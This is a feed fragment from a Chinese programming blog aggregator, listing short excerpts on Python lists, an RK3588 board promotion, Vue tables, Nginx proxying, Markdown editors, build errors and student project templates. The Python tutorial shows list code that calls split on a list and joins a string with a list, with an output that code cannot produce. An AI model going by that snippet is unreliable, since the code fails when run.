      <guid>https://bchobby.github.io/posts/e7ba6e4bc56831188a665f097db5c9bf/</guid>
      <description>python 的列表介绍及用法 目录&#xA;python 的列表和字典介绍及用法&#xA;一、列表&#xA;介绍：列表有什么用？&#xA;1.列表的格式&#xA;2.引用列表&#xA;3.往列表里添加删除和修改元素&#xA;4.&#34;list&#34; 函数 5.制做一个小程序&#xA;———————————————————————————————————————————&#xA;列表&#xA;列表有什么用？（可看可不看）&#xA;任何程序都需要实时将不同数据获取，我们往往用变量来保存，就比如“a=1”,变量“a”储存了数字“1”。但变量只能提前设定，保存固定方面的数据，一旦数据的数量随机，就不行了。&#xA;假如一个程序要求用户输入任意量的字符串，最后全打印出来，如果用变量来储存，如何知道用户输入了多少组字符串呢，该提前设定多少变量来储存呢？这做不到。所以有了列表。列表用于储存各种数据，更重要的它很方便，可以储存任意数量的数据。&#xA;（以上均为我本人的看法）&#xA;1.列表的格式：&#xA;列表的创建方式和普通变量一样,不过要写在中括号里&#xA;“a=[要输入的数据] ” ——这样就创建了一个列表&#xA;想要储存多个数据，就用逗号隔开：&#xA;“a=[数据1，数据2，数据3]”&#xA;也可以创建一个空列表&#xA;“a=[]”&#xA;举个例子：&#xA;data1=&#39;我是data1&#39; data2=&#39;我是data2&#39; #创建拥有一个数据的列表 a1=[data1] #创建一个空列表： a2=[] #储存多个数据的列表 a3=[data1,data2] #打印出来 print(a1) print(a2) print(a3) 结果： &amp;gt;&amp;gt;&amp;gt;[&#39;我是data1&#39;] &amp;gt;&amp;gt;&amp;gt;[] &amp;gt;&amp;gt;&amp;gt;[&#39;我是data1&#39;,&#39;我是data2&#39;] 在上面以&#34;data&#34;作为数据，那么现在做一个小程序，用列表储存用户的年龄、姓名、爱好&#xA;a=input(&#39;名字&#39;)#用户输入“李锦天” b=int(input(&#39;年龄&#39;))#用户输入 13 (是的本人十三) c=input(&#39;爱好&#39;)#用户输入“打代码” d=[a,b,c] d=d.split(&#39;[]&#39;)#去除列表两旁的中括号 print(&#39;个人数据为：\n&#39;+d) #结果： 个人数据为： &#39;李锦天&#39;,13,&#39;打代码&#39; 2.引用列表&#xA;往列表里储存了数据，也要提取数据，如何提取数据呢？在列表里，数据依据从左到右的顺序从0开始每一组数据都赋予编号。&#xA;比如第一组数据编号为“0”，第二组则为“1”，第三组为“2”......&#xA;通过编号来获取信息。&#xA;格式：&#xA;列表名[编号]&#xA;比如 &#34;a[0]&#34; #获取列表a的第一组数据&#xA;举个例子：&#xA;a=[&#39;复杂的python&#39;,&#39;丰富的python&#39;,&#39;便捷的python&#39;] #创建一个列表 #分别打印 print(a[0]) print(a[1]) print(a[2]) #结果： 复杂的python 丰富的python 便捷的python 成功获取了列表a当中元素</description>
    </item>
    <item>
      <title>RK3588开发板的性能参数、功耗及功能特点|飞凌动态讲解</title>
      <link>https://bchobby.github.io/posts/964cd778fc32f4a4dffcc0207085dcb9/</link>
      <pubDate>Mon, 05 Dec 2022 13:18:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/964cd778fc32f4a4dffcc0207085dcb9/</guid>
      <description>内容来源：飞凌嵌入式官网-www.forlinx.com 2021年12月16日第六届瑞芯微开发者大会上，瑞芯微发布了全新一代旗舰处理器——RK3588。 相较前一代产品，RK3588的性能提高20%~30%！同时采用新一代8nm制程工艺，也将大幅度降低功耗。这款处理器芯片集成60多亿晶体管，采用8核CPU，8个EEGPU，6TOPS算力NPU，具有高算力、超强多媒体、丰富接口等特点。&#xA;作为与瑞芯微有着多年深度且密切的合作关系的合作伙伴，飞凌嵌入式也基于这款性能强悍的旗舰处理器开发出了相应的核心板与开发板产品——FET3588-C核心板和OK3588-C开发板。作为飞凌嵌入式的重磅明星产品，这款产品集匠心设计、高超性能、可靠品质于一体。&#xA;硬件设计方面 飞凌嵌入式FET3588-C核心板采用12V供电，更高的供电电压不光提升了供电功率上限，也能减小线路损耗，确保飞凌核心板可以满负荷长时间稳定运行；电源采用RK单PMIC的方案，支持动态调频等；飞凌RK3588核心板采用100pin超薄连接器实现核心板与底板连接，连接器合高1.5mm，极大的缩小了核心的厚度；选用4片100pin连接器，共计400个引脚；CPU的所有可引出的功能全部引出，且高速信号的地回路引脚充足，电源供电及回路引脚充足，确保信号完整性和电源完整性。&#xA;尺寸方面，飞凌这款核心板大小仅为50 x68mm，小于市面上大部分核心板，仅仅相当于半个名片大小，轻便小巧的体积，更便于集成到用户的产品设计中去。&#xA;性能方面 RK3588采用了Big.Little大小核架构，4个Cortex-A76大核可在高负载工作时提供性能支撑，4个Cortex-A55小核可在低负载工作时降低功耗运行，A76的主频高达2.4GHz，A55的主频也有 1.8GHz，充分考虑了性能和功耗的平衡。&#xA;通过GeekBench和安兔兔跑分实测可以看到，相较于上一代旗舰RK3399，性能提升了有3.5倍。&#xA;算力方面 RK3588芯片集成了瑞芯微自研的第三代NPU处理器，支持INT4/INT8/INT16/FP16混合运算，算力高达6TOPS，可满足大多数人工智能模型的算力需求，赋能各种AI场景。&#xA;当然RK3588处理器不仅性能强，在功耗控制方面也是下足了功夫，8nm的先进制程工艺，为高性能、低功耗提供了强大支撑。实测中，我们在不加任何散热措施情况下，在飞凌嵌入式RK3568开发板上运行了2个小时的大型游戏。&#xA;通过测温，RK3588处理器表面温度仍然可以控制在67℃左右，表现尚佳。&#xA;OK3588-C开发板设计方面 为了便于用户的对功能、性能进行测试，飞凌嵌入式也做了更多思考。不仅最大限度发挥核心板的原生功能，例如HDMI输入、HDMI输出、Type-C、Camera、双千兆网、CAN总线、PCIe x4、GPIO、eDP输出等，还适配了Camera、WIFI6、5G等外设模块，且合理排列接口，避免了当将接口插满时可能产生的不便，同时飞凌嵌入式OK3588-C开发板将所有FPC排线座全部放在了板边，方便插入排线引出。核心板和底板的各个接口信号以及电源都经过严格测试，确保信号质量良好、电源文波在规定范围内。&#xA;从稳定性及器件EMC防护方面来说，为保证开发板品质，为客户的研发设计和功能评估提供可靠的参考，我们的防护几乎做到了面面俱到。OK3588-C开发板特意增加了接口防护电路，避免因为意外造成的开发板损坏；CAN和RS485接口均具备静电3级、雷击浪涌3级、快速脉冲群3级防护能力；其它接口如USB、Ethernet、Type-C、HDMI TX、HDMI RX、TF、SIM、按键也都设置了静电3级防护。客户在用开发板评估过性能后可直接根据参考设计开发自己的功能底板，加速项目落地。&#xA;同时飞凌嵌入式为了简化用户开发流程，降低用户开发难度，针对RK3588也提供了大量的开发资料和参考设计，包括RK3588原理图、常用工具、软件源码、开发环境、测试例程、芯片数据手册、软件手册、硬件手册、编译手册、应用笔记、常见QA问答手册、引脚复用及引脚功能对照表等等，帮助用户的产品快速开发上市。&#xA;多年以来飞凌嵌入式与瑞芯微有着深度且密切的合作关系，除RK3588外，基于瑞芯微的处理器飞凌嵌入式也开发出了多款深受市场好评的产品，如搭载RK3568、RK3399处理器的核心板和开发板等，并为研发每一款产品分别设立独立研发团队。同时为保障用户在使用产品开发过程中能够得到强有力的技术支撑，飞凌嵌入式凭借16年的积累，拥有一大批嵌入式领域软硬件技术精英，助力客户成功开发，快速上市，也期待您的咨询与进一步合作。</description>
    </item>
    <item>
      <title>vue element ui table行点击添加自定义行背景色</title>
      <link>https://bchobby.github.io/posts/c595f317fbc2b2bc3908239fe99afe7a/</link>
      <pubDate>Mon, 05 Dec 2022 12:44:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c595f317fbc2b2bc3908239fe99afe7a/</guid>
      <description>1.在table添加cell-style属性 :cell-style=&#34;TableCellStyle&#34; 2.在methods中添加TableCellStyle TableCellStyle(row) { if (this.row === row.row) { return &#34;background-color:#214F81;color: #ffffff !important;&#34;; } else { return &#34;background-color:transparent;&#34;; } }, 3.在table添加row-click @row-click=&#34;RowClickFun&#34; 4.在methods中添加RowClickFun RowClickFun(row, column, event) { console.log(&#34;row, column, event&#34;, row, column, event); debounce(() =&amp;gt; { this.row = row; }, 500); }, 5.代码 tablecpt组件，tablecpt/index.vue &amp;lt;template&amp;gt; &amp;lt;div class=&#34;TableComponent&#34;&amp;gt; &amp;lt;el-table :data=&#34;TableData&#34; style=&#34;width: 100%; height: 100%&#34; :row-class-name=&#34;tableRowClassName&#34; :header-cell-style=&#34;tableHeaderColor&#34; @row-click=&#34;RowClickFun&#34; :cell-style=&#34;TableCellStyle&#34; &amp;gt; &amp;lt;el-table-column prop=&#34;chargeMessage&#34; label=&#34;时间&#34; show-overflow-tooltip align=&#34;center&#34; &amp;gt; &amp;lt;template slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;div class=&#34;chargeMessageDiv&#34;&amp;gt; {{ scope.</description>
    </item>
    <item>
      <title>Nginx配置 转发URL中包含特殊字符</title>
      <link>https://bchobby.github.io/posts/0bca145edcd3164ed279d9fa3f75fc85/</link>
      <pubDate>Mon, 05 Dec 2022 11:47:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bca145edcd3164ed279d9fa3f75fc85/</guid>
      <description>Nginx经常被用来作为代理服务器，可以有效的避免跨域问题。&#xA;老项目需要对接一个新的服务，但是存在跨域问题，然后就配置了一个代理&#xA;可是突然在某天，新接口出现了异常。接口报了400错误。&#xA;# 转发 location /test { .......其他配置信息....... proxy_pass http://127.0.0.1:8080/; } 然后定位发现新接口url比较特殊还不能修改，在其他的地方也用了，整个URL中包含了特殊字符，nginx接收之后会解码但是转发出去不会对其进行编码，导致对方访问无法解析而报错。&#xA;例如这样的url&#xA;services/lists/aa/bb/~~/resource-lists/list%5B@id=%221%22%5D?&amp;amp;t=1669973282354&#xA;nginx 进行转发时，url存在特殊字符会导致请求报400错误。&#xA;一般正常的处理方式都是直接进行正则匹配，使用 $1 直接获取匹配到的URL，不做任何处理，直接拼接在后面，这样可以避免报错。&#xA;# 转发 location /test { if ($request_uri ~* ^/(.*)$) { proxy_pass http://127.0.0.1:8080/$1; } } #不对url进行处理 最终在此基础上采用了正则进行了url匹配截取了部分url拼接，解决转发400错误。&#xA;url截取 正则匹配来获取截取&#xA;# 转发 location /test { if ($request_uri ~ /test/(.*)$ ){ proxy_pass http://127.0.0.1:8080/$1; } $1就是test/后的所有url参数。&#xA;以上只是举例&#xA;正常只需要去掉匹配路径，在完整转发即可。&#xA;正常转发情况 1、去掉匹配路径转发&#xA;转发示例：&#xA;请求：http://somedomain.com/test/path/request&#xA;转发：http://otherdomain.com/path/request&#xA;location ^~ /test/ {&#xA;proxy_pass http://otherdomain.com; }&#xA;2、完整路径转发&#xA;转发示例&#xA;请求：http://somedomain.com/test/path/request</description>
    </item>
    <item>
      <title>Typora收费了，于是乎我自己写了一个</title>
      <link>https://bchobby.github.io/posts/ca0aa26a2bb563640b0c7abe458c01ce/</link>
      <pubDate>Mon, 05 Dec 2022 11:46:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca0aa26a2bb563640b0c7abe458c01ce/</guid>
      <description>Typora受大家欢迎的一点莫过于两大核心优势 所见即所得，简洁的功能、和丰富的主题。&#xA;但是缺点也挺明显的&#xA;不支持云存储，对于碎片化笔记非常不友好图片默认在本地，图床使用麻烦好用的收费。太折腾了使用成本高不支持标准的文件目录（我知道可以查看系统的目录） 第三方、有道云笔记（上传图片受限，需要开会员，快捷键难用）。&#xA;于是乎我就诞生了自己写一个的打算，当然不可能从0开始，于是乎我逛遍百度、Google、发现大家都遇到了类似问题。&#xA;下面是我考察用使用人数较多的markdown&#xA;CherryMarkdown 腾讯开源的&#xA;https://github.com/Tencent/cherry-markdown&#xA;Vditor https://github.com/Vanessa219/vditor&#xA;Vditor 是一款浏览器端的 Markdown 编辑器，支持所见即所得、即时渲染（类似 Typora）和分屏预览模式。它使用 TypeScript 实现，支持原生 JavaScript 以及 Vue、React、Angular 和 Svelte 等框架。&#xA;样式感觉有点不好看，代码的所见即所得分成上下编辑和显示两块了，有点不好。&#xA;Arya https://github.com/nicejade/markdown-online-editor&#xA;基于Vditor开发的丰富了功能，感觉核心功能差不多。&#xA;bytemd https://github.com/bytedance/bytemd&#xA;字节跳动旗下-&amp;gt;掘金开源的Markdown&#xA;https://bytemd.js.org/&#xA;mavonEditor https://github.com/hinesboy/mavonEditor&#xA;mavonEditor-基于Vue的markdown编辑器，支持多种个性化功能&#xA;www.mavoneditor.com/&#xA;am-editor https://github.com/red-axe/am-editor&#xA;https://editor.aomao.com/zh-CN&#xA;类似于语雀，用的人挺少的，但是我感觉挺好用的。功能也挺多的&#xA;tui-editor https://github.com/nhn/tui.editor&#xA;https://ui.toast.com/tui-editor&#xA;markdown-it https://github.com/markdown-it/markdown-it&#xA;据说只提供核心的解析渲染，需要额外的功能需要基于提供的插件功能实现，于是很多好用的功能都需要集成插件。Vue Press 用的就是这个。&#xA;文章没写完。。</description>
    </item>
    <item>
      <title>PHP 的快速介绍</title>
      <link>https://bchobby.github.io/posts/9feefb0b771259b913db214e826890b7/</link>
      <pubDate>Mon, 05 Dec 2022 10:45:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9feefb0b771259b913db214e826890b7/</guid>
      <description>2.3 Super Globals&#xA;Name Value&#xA;HTTP_REFERER If the user clicked a link to get the current page, this will contain the URL of the previous page they were at, or it will be empty if the user entered the URL directly.&#xA;HTTP_USER_AGENT The name reported by the visitor&#39;s browser&#xA;PATH_INFO Any data passed in the URL after the script name&#xA;PHP_SELF The name of the current script&#xA;REQUEST_METHOD Either GET or POST</description>
    </item>
    <item>
      <title>使用vite-plugin-style-import插件报错Cannot find module ‘consola‘和解决方法</title>
      <link>https://bchobby.github.io/posts/054dbb6d670d4e7893a2cb1a04f48da6/</link>
      <pubDate>Mon, 05 Dec 2022 09:36:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/054dbb6d670d4e7893a2cb1a04f48da6/</guid>
      <description>使用的 Vite创建的项目，使用 unplugin-vue-components 来进行按需加载。但是此插件无法处理非组件模块，如 message，这种组件需要手动加载，如：&#xA;import { message } from &#39;ant-design-vue&#39; import &#39;ant-design-vue/es/message/style/css&#39; 由于已按需导入了组件库，因此仅样式不是按需导入的，因此只需按需导入样式即可。&#xA;使用 vite-plugin-style-import 可以帮助我们按需引入样式&#xA;安装：&#xA;npm i vite-plugin-style-import -D // 或者 yarn add vite-plugin-style-import -D 使用：&#xA;在vite.config.ts 中的配置插件：&#xA;import { createStyleImportPlugin, AndDesignVueResolve, VantResolve, ElementPlusResolve, NutuiResolve, AntdResolve, } from &#39;vite-plugin-style-import&#39; export default defineConfig({ plugins: [ // ...... createStyleImportPlugin({ resolves: [AndDesignVueResolve()], // 如果没有你需要的resolve，可以在lib内直接写 libs: [ { libraryName: &#39;ant-design-vue&#39;, esModule: true, resolveStyle: name =&amp;gt; { return `ant-design-vue/es/${name}/style/index` }, }, ], }), ], // 1.</description>
    </item>
    <item>
      <title>处理stable-diffusion-webui本地部署过程中的commit hash ＜none＞问题的一个方法</title>
      <link>https://bchobby.github.io/posts/4e7b4678867f44bbacc781f9de8c07a2/</link>
      <pubDate>Mon, 05 Dec 2022 09:02:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e7b4678867f44bbacc781f9de8c07a2/</guid>
      <description>安装webui时一直卡在commit hash none RuntimeError: Couldn&#39;t determine Stable Diffusion&#39;s hash: 69ae4b35e0a0f6ee1af8bb9a5d0016ccb27e36dc 这一步&#xA;报错类似于这个（因为我没有存截图）&#xA;Commit hash: &amp;lt;none&amp;gt; Traceback (most recent call last): File &#34;D:\GitHub Desktop Files\stable-diffusion-webui\launch.py&#34;, line 130, in &amp;lt;module&amp;gt; git_clone(&#34;https://github.com/CompVis/stable-diffusion.git&#34;, repo_dir(&#39;stable-diffusion&#39;), &#34;Stable Diffusion&#34;, stable_diffusion_commit_hash) File &#34;D:\GitHub Desktop Files\stable-diffusion-webui\launch.py&#34;, line 93, in git_clone current_hash = run(f&#39;&#34;{git}&#34; -C {dir} rev-parse HEAD&#39;, None, f&#34;Couldn&#39;t determine {name}&#39;s hash: {commithash}&#34;).strip() File &#34;D:\GitHub Desktop Files\stable-diffusion-webui\launch.py&#34;, line 55, in run raise RuntimeError(message) RuntimeError: Couldn&#39;t determine Stable Diffusion&#39;s hash: 69ae4b35e0a0f6ee1af8bb9a5d0016ccb27e36dc.</description>
    </item>
    <item>
      <title>[附源码]计算机毕业设计基于SpringBoot动漫电影网站</title>
      <link>https://bchobby.github.io/posts/20ab1cdb42526411f504abb9f1a67a0f/</link>
      <pubDate>Mon, 05 Dec 2022 08:50:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20ab1cdb42526411f504abb9f1a67a0f/</guid>
      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;SSM + mybatis + Maven + Vue 等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末)&#xA;3.1 需求分析 动漫电影网站主要是为了提高工作人员的工作效率和更方便快捷的满足用户，更好存储所有数据信息及快速方便的检索功能，对系统的各个模块是通过许多今天的发达系统做出合理的分析来确定考虑用户的可操作性，遵循开发的系统优化的原则，经过全面的调查和研究。&#xA;系统所要实现的功能分析，对于现在网络方便的管理，系统要实现用户可以直接在平台上进行查看所有数据信息，根据需求可以进行在线添加，删除或修改动漫电影网站信息，这样既能节省时间，不用再像传统的方式耽误时间，真的很难去满足用户的各种需求。所以动漫电影网站的开发不仅仅是能满足用户的需求，还能提高管理员的工作效率，减少原有不必要的工作量。&#xA;3.2 系统可行性分析 3.2.1技术可行性：技术背景 本动漫电影网站在Windows操作系统中进行开发，并且目前PC机的性能已经可以胜任普通网站的web服务器。系统开发所使用的技术也都是自身所具有的，也是当下广泛应用的技术之一。&#xA;系统的开发环境和配置都是可以自行安装的，系统使用SPRING BOOT开发工具，使用比较成熟的Mysql数据库进行对系统前台及后台的数据交互，根据技术语言对数据库，结合需求进行修改维护，可以使得网站运行更具有稳定性和安全性，从而完成实现网站的开发。&#xA;硬件可行性分析：动漫电影网站及信息分析的设计对于所使用的计算机没有什么硬性的要求，计算机只要可以正常的使用进行代码的编写及页面设计就可行，主要是对于服务器有些要求，对于平台搭建完成要上传的服务器是有一定的要求的，服务器必须选择安全性比较高的，然后就是在打开网站必须顺畅，不能停顿太长时间；性价比高；安全性高。&#xA;因此，我们进行了可行性研究，可以看出系统的开发没有问题。&#xA;3.2.2经济可行性 在动漫电影网站开发之前所做的市场调研及其他的公司相关的管理系统，都是没有任何费用的，都是通过开发者自己的努力，所有的工作的都是自己亲力亲为，在碰到自己比较难以解决的问题，大多是通过同学和指导老师的帮助进行相关信息的解决，所以对于动漫电影网站的开发在经济上是完全可行的，没有任何费用支出的。&#xA;使用比较成熟的技术，系统是基于SPRING BOOT的开发，采用Mysql数据库。所以系统在开发人力、财力要求不高，具有经济可行性。&#xA;3.2.3操作可行性： 可操作性主要是对动漫电影网站设计完成后，用户的使用体验度，以及管理员可以通过系统随时管理相关的数据信息，并且对于管理员、用户两个用户角色，都可以简单明了的进入到自己的系统界面，通过界面导航菜单可以简单明了地操作功能模块，方便用户信息的操作需求和管理员管理数据信息，对于系统的操作，不需要专业人员都可以直接进行功能模块的操作管理，所以在系统的可操作性是完全可以的。本系统的操作使用的也是界面窗口进行登录，所以操作人员只要会简单的电脑操作就完全可以的。&#xA;3.3 项目设计目标与原则 1、关于动漫电影网站的基本要求&#xA;（1）功能要求：可以管理首页、个人中心、用户管理、在线动漫管理、付费观看管理、动漫类型管理、最新动漫管理、手办商城管理、观后感评论、管理员管理、留言板管理、系统管理等功能模块。&#xA;（2）性能：在不同操作系统上均能无差错实现在不同类型的用户登入相应界面后能不出差错、方便地进行预期操作。&#xA;（3）安全与保密要求：用户都必须通过身份验证才能进入系统，并且用户的权限也需要根据用户的类型进行限定。&#xA;（4）环境要求：支持多种平台，可在Windows系列、Vista系统等多种操作系统下使用。&#xA;2、开发目标&#xA;动漫电影网站的主要开发目标如下：&#xA;（1）实现管理系统信息关系的系统化、规范化和自动化；&#xA;（2）减少维护人员的工作量以及实现用户对信息的控制和管理。&#xA;（3）方便查询信息及管理信息等；</description>
    </item>
    <item>
      <title>[附源码]计算机毕业设计基于springboot的桌游信息管理系统</title>
      <link>https://bchobby.github.io/posts/2be60c78aff3a8337dba3ff496806278/</link>
      <pubDate>Mon, 05 Dec 2022 08:45:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2be60c78aff3a8337dba3ff496806278/</guid>
      <description>项目运行&#xA;环境配置：&#xA;Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX（Webstorm也行）+ Eclispe（IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持）。&#xA;项目技术：&#xA;SSM + mybatis + Maven + Vue 等等组成，B/S模式 + Maven管理等等。&#xA;环境需要&#xA;1.运行环境：最好是java jdk 1.8，我们在这个平台上运行的。其他版本理论上也可以。&#xA;2.IDE环境：IDEA，Eclipse,Myeclipse都可以。推荐IDEA;&#xA;3.tomcat环境：Tomcat 7.x,8.x,9.x版本均可&#xA;4.硬件环境：windows 7/8/10 1G内存以上；或者 Mac OS；&#xA;5.是否Maven项目: 否；查看源码目录中是否包含pom.xml；若包含，则为maven项目，否则为非maven项目 6.数据库：MySql 5.7/8.0等版本均可；&#xA;毕设帮助，指导，本源码分享，调试部署(见文末)&#xA;3.1需求分析 桌游信息管理系统可以提高工作人员的效率，协助他们对桌游信息进行统一管理，为管理者提供信息储存和查询搜索系统。一个良好的桌游信息管理系统可以实现对桌游信息的精细化管理：对桌游管理流程的全过程进行电子化操作，其主要作用是管理和控制桌游所有的信息，分析库存数据，使工作人员对桌游信息管理系统进行监管，根据系统所提供的相应信息，采取适当的措施，及时补救管理中的漏洞，提高桌游管理的工作效率，使得桌游管理变的更加系统和规范。&#xA;3.2系统可行性分析 可行性分析是在进行初步调查之后，对系统开发的必要性和可行性的研究。针对本系统，主要从技术可行性，经济可行性，社会可行性，法律可行性等方面来论证，具体分析如下：&#xA;技术可行性：当今社会人类的科技水平的不断发展，软件开发产业也在不断的壮大。目前，市面上流行的开发产品，已经能过满足不同行业的各种需要。&#xA;经济可行性：在当今社会，计算机的性能已经有了很大的提升，价格也不断的下降。因此，并不需要对此程序投入过高的成本。并且，在程序投入使用之后，可以为管理人员带来极大的便捷，大大提高工作效率，减少人力浪费，避免许多不必要的工作和开支。&#xA;社会可行性：管理者效率的增加，以及在管理过程中出现错误的可能性的大大减少，也是为了更好的发展铺平道路服务大众。这理应得到各界的一致认可。&#xA;法律可行性：本系统绝不违反任何相关的法律法规。&#xA;3.3 系统现状分析 系统使用用户的数量直接决定了用户信息管理者的工作量，毫无疑问，管理者的工作量较大较繁琐。通过总结出系统当前对用户管理的工作状态得以下分析：&#xA;统筹规划，如果系统在信息化管理中不够全面，缺少综合性、系统性、整体性，那不可避免的需要投入大量人力物力来规划整理信息。引入信息化管理方式无疑可以达到节省信息管理成本的目的不仅减少资源浪费还可以使桌游信息变得井井有条，成为市场竞争中的一大优势。&#xA;要循序渐进，做事不能心急，一步一个脚印，都不可能一步到位，就算信息管理系统也一样，要让系统发挥最大效率还是应该多调研，多听取用户和管理者的意见，并进行必要的统筹规划，有组织有目的地设计系统功能，团结各个部门发挥主观能动性。&#xA;(3)信息安全措施不到位&#xA;隐私权神圣不可侵犯，这是中华人民共和国宪法赋予我们的权利，人和人都不能侵犯我们的正当权益，而网络用户信息管理存在极大安全隐患，信息泄露的案列不在少数，加强信息安全措施是完善网络信息管理过程中不可避免的一环。&#xA;(4)资源不能充分共享&#xA;资源共享是网络的一大特点，没有共享就没有社交，网络也就失去了他应有的魅力，如果能够实现用户信息共享，无疑对于用户的发展存在不可或缺的帮助。&#xA;(5)现有系统可扩展性不高。&#xA;如今科学技术发展飞速，随着而来的就是技术更新，那势必会给软件更新带来挑战，因此，系统必须具备良好的开放性和可扩充性，为了不落后于时代，这是必备特色之一。&#xA;基于上述分析，桌游信息管理系统应该切合实际，做到确实有效，集体表现为：一是系统能够整理并集合归类用户信息，防止用户信息混乱，难以整理；二是系统要安全稳定，不能泄露用户信息，造成隐私泄露，不仅伤害用户利益更是对经营者名誉的损毁；三是系统要具有良好的开放性，不仅要方便定期的维护维修，更要方便及时增加新功能，保证先进的时代契合性。经过详细的讨论论证，确定系统的总体要求。&#xA;3.4 性能需求分析 对系统的性能，从（功能、运行、界面、安全）等方面进行，下面我们逐一进行分析；&#xA;1. 系统的功能是否完整进行分析：系统的功能，能对应设计出原始代码和算法，以表格同文字的形式进行详细介绍个人信息保证功能完整；&#xA;2. 系统的运行是否通畅进行分析：系统的每个功能都有编写数据的关系和应对的代码，通过需求分析和可行性分析进行分析和显示系统的物理数据，保证其进行通畅；&#xA;3. 系统的界面设计进行分析：对系统中的软件进行处理与分析的方式是由不同代码来进行的；从而使界面容易操作。&#xA;4. 系统的安全性进行分析：这样才可以每个角色的不同对应的信息也就不同，在登录系统务必使用自己的账号，密码登录，账号与密码错误自然就登录失败了。登录成功可以对自己的信息进行操作，不能对别人的账号的信息进行查看等操作，这样自然保证系统的安全性。</description>
    </item>
    <item>
      <title>c#实现计算器</title>
      <link>https://bchobby.github.io/posts/9fbf783c2d06dc3854011f74d0579d3c/</link>
      <pubDate>Sun, 04 Dec 2022 17:42:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fbf783c2d06dc3854011f74d0579d3c/</guid>
      <description>原文件和代码需要的话私聊留邮箱我看见会发给你!,做到力所能及 这里是旧版计算器&#xA;优化 改过bug的 请移步至&#xA;新版计算器&#xA;c#计算器 visual studio 2019&#xA;这是我的样式&#xA;–接下来是代码&#xA;变量 声明开始 //-------------------------------------------------------------------------------- //变量声明and变量的作用开始 //记录程序第一次1启动 Boolean system_one = false; //判断用过小数点后,是否有输入数字如果没有输入数字就不能使用四则运算符 Boolean dian_number; //ji 计算 用过多少次等于号 int ji = 0; //sum 用来记录每一次的新值 double sum = 0; //value 是最后的结果 double value; //fh 是用来记录我们正在使用的符号 String fh; //eco 用来记录 用户摁过多少次等于号, eco = 0 就是还没用过, 如果用过的话 就++ int eco = 0; //temp 用来记录 一直被处理的数字 double temp = 0.0; //record 用来判断使用四则运算符后,是否输入数字,输入了就是true没有就是false Boolean record = true; //number 是用来判断数字键是否使用过,number = 0 就是没用过 等于 number =1 就是使用过; byte number = 0; //符号的次数 0就按原来的样式不等0就是其他样式 byte numberOfSymbols = 0; //用来装记忆的盒子 double memory = 0.</description>
    </item>
    <item>
      <title>最优化理论笔记及期末复习（《数值最优化》——高立）</title>
      <link>https://bchobby.github.io/posts/38184fd70f72d802b80883ac16d5f418/</link>
      <pubDate>Sun, 04 Dec 2022 15:20:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38184fd70f72d802b80883ac16d5f418/</guid>
      <description>目录 一、预备知识二、无约束最优化方法的基本结构三、凸集和凸函数四、负梯度方法和Newton型方法五、共轭梯度法六、约束最优化问题的最优性理论七、罚函数方法八、期末复习8.1 知识点复习8.2 习题复习8.3 大实验代码8.3.1实验内容8.3.2实验目的8.3.3算法描述8.3.4程序中的参数设置、终止准则、关键技术(语句)等说明8.3.5实验代码8.3.5.1 目标函数8.3.5.2 计算梯度8.3.5.3 Armijo准则更新步长8.3.5.4最速下降法8.3.5.5 BFGS法8.3.5.6 FR共轭梯度法8.3.5.7 主程序 九、总结 一、预备知识 二、无约束最优化方法的基本结构 三、凸集和凸函数 四、负梯度方法和Newton型方法 五、共轭梯度法 六、约束最优化问题的最优性理论 七、罚函数方法 八、期末复习 8.1 知识点复习 8.2 习题复习 8.3 大实验代码 8.3.1实验内容 利用Matlab编程，实现采用简单Armijo非精确线搜索求步长的三种方法：负梯度法、BFGS法及FR共轭梯度法，并求解如下无约束优化问题：&#xA;m i n f ( x ) = 10 ( x 1 3 − x 2 ) 2 + ( x 1 − 1 ) 2 min f(x) =10(x_1^3-x_2)^2+(x_1-1)^2 minf(x)=10(x13​−x2​)2+(x1​−1)2&#xA;通过实验过程进一步理解三种方法的原理和步骤，并对实验结果进行分析比较。&#xA;8.3.2实验目的 掌握无约束最优化算法的基本架构，并能熟练使用Matlab软件实现一些基本实用的算法并进行数值试验分析。&#xA;8.3.3算法描述 8.3.4程序中的参数设置、终止准则、关键技术(语句)等说明 8.3.5实验代码 8.3.5.1 目标函数 %%计算函数值 function f=func(X) f=10.</description>
    </item>
    <item>
      <title>idea 启动报错 Command line is too long</title>
      <link>https://bchobby.github.io/posts/eb4396bee9ca91d3b079ce85dc4d3aa2/</link>
      <pubDate>Sun, 04 Dec 2022 14:54:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb4396bee9ca91d3b079ce85dc4d3aa2/</guid>
